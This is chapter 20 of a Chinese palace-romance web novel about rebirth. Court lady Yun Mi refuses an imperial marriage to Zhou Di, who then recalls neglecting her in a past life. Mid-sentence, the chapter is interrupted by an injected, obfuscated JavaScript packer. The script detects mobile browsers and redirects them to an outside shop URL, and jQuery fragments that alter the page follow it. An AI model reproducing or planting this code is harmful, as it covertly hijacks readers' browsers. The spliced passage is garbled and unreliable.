20. 第 20 章
作品:《唯有香如故(双重生)》 皇后趁空闲去了趟乾清宫,与明昭帝说了想要促成云宓与周砥亲事之事,又将周家可能会嫌弃云家出身商贾的顾忌说了,明昭帝却道:
“有你我保媒,他周家敢有不满?!”
若真促成此事,那便能打破商贾与世家之间横亘的那层壁垒,也算了了他一桩心事。
听皇帝如此一说,皇后便也不再说什么,想着待云宓伤好些,便将周家人请入宫中商议。
虽每日只能躺在床上让云宓度日如年,但日子还是一天天过去了,云宓的伤势也在一天天好转。在躺了一个多月后,终于能在旁人的搀扶下坐起来,并能下床慢慢走动。
这一个多月里,云宓内心十分焦灼,曾提出想要回云家休养,只皇后看她伤势未稳,坚决不让,太医也称至少要在宫里休息两个月以上方能承受车马的颠波,云宓只好作罢,心里却无时无刻不在想着让云泽、云澜在暗中查探的事情。
她并没有把对姐夫王瞻的怀疑告诉家里人,当初派云泽云澜出去只说是为她办些私事,父母亲知道她现在是有主意的人,便也没多问。如今她被困在宫中一个多月,云泽云澜的消息递不进来,也不知他俩可有查到些什么没有。
这日,云宓从午睡中醒来,红霞笑容满面地走过来,“司乐醒了?”
云宓睡眼惺忪,“姐姐,现在什么时辰了?”
红霞答道:
“现在刚过未时。”
云宓叹口气,这日子可真难挨!
红霞见她心情郁闷,不由说道:
“司乐不用烦闷,很快就会有一个大惊喜送到司乐面前来的。”
云宓一听甚感疑惑,“什么大惊喜?”
“等会儿司乐就知道了。”
红霞故意卖关子。
云宓却感到一丝莫名地不安,她让红霞扶她下来走走,想疏散一下内心的郁躁。
就在她刚刚下了床,还未及站稳,温宜便兴高采烈地跑了进来,嘴里边喊着:
“云姐姐,云姐姐,大喜事。”
“什么大喜事?”
云宓定定望着兴高采烈走到自己跟前来的温宜,不知何故,她们口中的惊喜竟让她没有一丝期待与兴奋。
温宜如立了大功的功臣,一脸自豪地道:
“你很快就可以嫁给周表哥了。”
“你说什么?”
云宓犹感晴天霹雳一般,满目惊愕。
温宜见她站在床前似浑身颤抖,还以为她是惊喜过度,随伸手搀住她,并说道:
“我知姐姐心里一直心悦周表哥,父皇和母后也已经知晓,便决定促成你和周表哥的姻缘。今日母后特意邀请姑祖母和王夫人进宫,询问她们的意见,姑祖母和王夫人已经同意了,父皇等会儿就会下一道赐婚圣旨,让姐姐和周表哥喜结连理。”
云宓只觉一阵晕眩,强撑着这有如当头一棒的打击急问:
“陛下和皇后娘娘在何处?请公主马上带婢子去。”
云宓拉着温宜要让她带自己去见帝后。
温宜被她的慌张弄糊涂了,见她一副心急如焚的模样,只好和红霞一起搀着她来到了坤宁宫西侧的偏殿。
经过通禀,温宜和红霞扶她走了进去,里面明昭帝、皇后、旬宁郡主、王夫人四人齐齐坐在里面。
云宓因刚才走得急牵动了伤口,这会儿只感觉背上一阵接一阵地疼,面色惨白如纸,额间布满了细密的冷汗,瞧着很是狼狈。
可她顾不得自己的失仪,朝帝后跪了下去,恳求道:
“求陛下、皇后娘娘收回成命。婢子不同意这门婚事。”
说完便伏地磕头。
帝后以及周家婆媳都愣住了。
一时都不明白她是真的不愿意还是假意矜持。
直到见她伏跪在地不愿起来,看着不像是假意推拒,皇后方发话道:
“云司乐,周家公子模样俊美,人品端方,又是春闱时陛下钦点的探花郎,现人在翰林院历练,前途自不必说。且你自己也向公主承认,曾倾心于周家公子,我和陛下这才想着为你保这个媒,你怎么不同意了?”
云宓直起身来,恭敬答道:
“婢子身份低贱,才疏学浅,实不堪匹配周公子。并且,婢子早已经不喜欢周公子了,婢子不愿意嫁给他。婢子所言句句肺腑,无一句虚言,还望陛下与皇后娘娘体恤。”
她这一番话令在场的所有人都面面相觑,圣意一再被拂的明昭帝有些怒了,“朕和皇后好心为你的婚事张罗,今日皇后又特意邀请郡主和王夫人入宫商议,都已经说定了,你别不识好歹,不嫁也得嫁。”
她不嫁,那他原本的希望岂不又落空了!?
云宓再次伏跪下去,“婢子辜负了陛下与皇后娘娘的厚爱,婢子属实有罪。可婢子真的不愿意嫁给周公子,婢子愿以死谢罪。”
听到“以死谢罪”四个字,在场的人都惊呆了。
旬宁郡主与王夫人更是脸上尴尬。王夫人心中很是不悦。
爱慕麟奴、想要嫁进周家的女子千千万,何曾被人这样嫌弃过?!
眼前一个出身低贱的商贾之女,竟是宁死也不肯嫁与麟奴!
若不是圣上与皇后保媒,他们周家不敢推拒,周家的门哪是她能进的?!这商女竟还装起清高来了。
王夫人虽心中愤愤,可当着帝后的面自不敢表露分毫,与婆母旬宁郡主两人只端坐着,不发表任何意见。
明昭帝与皇后都有些下不来台。未曾想到,二人这么费心费力地为她一个民间女子张罗婚事,到头来竟是剔头挑子一头热,一厢情愿。
可帝后又岂会真让她为了一桩婚事而以死谢罪!她救公主有功,伤还在身上呢。现在整个京城的人都知道她曾为了救公主命悬一线,如果一转头就赐死于她,岂不显得皇家太无情,让天下人寒心?!
好在赐婚圣旨还未下,想要挽回倒也来得及,只不过帝后与周家人的颜面有些挂不住。
这时旬宁郡主与王夫人连忙起身来到云宓身边一起朝帝后跪下,旬宁郡主道:
“陛下,娘娘,是麟奴没有这个福气。既云司乐不愿嫁,我们周家自也不敢强娶,也望陛下与娘娘成全了云司乐的决心。”
面对旬宁郡主主动给出的台阶,帝后自然顺着下了,皇后便道:
“既如此。那便罢了。也怪我,该先问问云司乐的意思再作决定的。让姑母和夫人见笑了。”
旬宁郡主和王夫人自是不敢当。
一直跪于地上的云宓暗里松了一口气。
她刚才火急火燎地赶来,就是想在圣旨未下前拒婚,如此兴许还有几分挽回的余地。她也在赌,赌帝后不会在这个时候真的赐她死罪。好在她赌赢了。
皇后见云宓虚弱得紧,便让人先将她搀了下去,回去的路上温宜一句话不说。
原以为是给云姐姐准备了一个大惊喜,不料却是给她惹了一个大麻烦。
这么说,她之前跟自己说的不再喜欢周表哥是真心话了。
只是自己和母后误解了她的意思,才有了这一出乌龙,还让父皇和母后在人前失了面子。
温宜此时只觉心中愧疚难当。
待扶云宓到床上躺下,温宜蹲到床边望着将半边脸埋在秀枕里的云宓问道:
“云姐姐,你真的不喜欢周表哥了吗?”
云宓闷闷地道:
“不喜欢了。”
温宜轻吐出一口气,“好吧。对不起云姐姐,我和母后以为你只是因为矜持,或者顾忌自己的身份而不敢承认,所以才自作了主张想要促成你和周表哥的婚事。在温宜心里,云姐姐是一个很好的人,周表哥也是,你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575957|187110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就该是一对。可温宜错了,云姐姐你不要生温宜的气,我以后再也不做这等自以为是的事情了。”
面对温宜的愧疚,云宓的心情也慢慢平静下来,她朝温宜露出笑容,“婢子知道公主是一番好意,婢子怎会生公主的气呢。”
没过多会儿,皇后便也过来了。云宓要起身再给皇后请罪,皇后按住了她,“罢了罢了,这不怪你,一切都是我的错。好在圣旨未下,事情还有转圜的余地,既你不愿意,我和陛下自不会强求于你。”
皇后虽是如此说,但云宓还是躺在床上向皇后告了罪,皇后本想问问她何以如此抵触周砥?刚才看她拒婚时的坚决,那何止是不喜欢,倒像是与周砥有什么深仇大恨似的,要不然何以说出“以死谢罪”这等话来。只此事多说无益,反正是两个无缘份的人,便也闭口不提了。
这厢旬宁郡主和王夫人回到家后将将休息了一阵,待周柏和周砥从官署一回来,便将父子二人请到了旬宁郡主屋里。
王夫人将今日宫中的一出闹剧从头到尾说了一通,最后心有不甘道:
“那云家女竟是宁死也不愿嫁与麟奴,这可真是……”
王夫人被心里那口气堵着,想说云家女不知好歹,自视甚高,可当着婆母和丈夫儿子的面,不愿把话说得太难听。
周柏也感到吃惊,他吃惊的乃是一大早宫里差人来请母亲和妻子入宫,竟是为了这么一桩事。想来圣上想让世家与商贾联姻的念头仍未打消,却没想再一次被那位云家姑娘给拒了。
至于妻子欲言又止的话,他自然明白她心里想什么,便道:
“有什么好奇怪的,这世上的好儿郎千千万,还真当所有女子都只看得见麟奴不成?!”
旬宁郡主便忍不住调侃孙儿:
“想不到还有女子看不上麟奴的,这倒是件稀罕事。”
随着丈夫与婆母都开口后,王夫人稍稍冷静了一些,这会儿只觉虚惊一场。她虽觉麟奴被一个商女拒绝而有失颜面,可骨子里却实实看不上云家女的,最后又感庆幸这桩亲事未成。
而周砥却自始自终未有任何表示,只神色平静地坐在一旁。他这副反应大家都见怪不怪,无论何事,他都是一副胸有激雷而面无平湖的神态。
待大家说完了话,周砥辞了长辈回到观澜院,竟觉内心一时五味杂陈。
宁死不嫁?
她竟这么恨他?!
前世夫妻两载,他承认自己确实冷落了她。
脑海里不由自主浮现出新婚第三日,她来观澜院找他,眼里带着小心翼翼的试探,问他为何不回蒹葭院睡?
当他告诉她日后自己就住观澜院时,她没有出声反对,他明明感觉到了她的失落,却视而不见。
临走前,她欲言又止唤他,“周郎……”
他却神色淡漠地道:
“以后每月逢六的日子我会去蒹葭院陪你。既已嫁入周家,日后便尽好周家少夫人的职责。有什么需要,可尽管跟我或母亲提。”
他希望她能好好当她的周家少夫人,只要她循规蹈矩,不给他添乱,他自不会亏待了她。可她并不安分,每日不是往他这里送吃的就是送喝的。得知他喜欢梅,她便让人去撬了两棵梅树移栽到蒹葭院和观澜院,可那些梅树都没能成活;得知他喜欢琴,便也学着抚琴,可弹出来的琴音却无法入耳;她每日不经他同意,在他下值时于观澜院里等他,非要跟他一起用过晚膳,直到夜深,才不情不愿地回蒹葭院。
他已记不清是从何时开始,她的这种痴缠渐渐没有了。
是得知她给他送来的吃的喝的都拿来赏了下人?是她移栽梅树时,他训斥她糟蹋生命?是她抚琴时,他不知不觉中皱起的眉头?还是她每日等他归来,他却有意晚归?
或许,那些恨就是在这样的点滴中沉积起来的吧?!

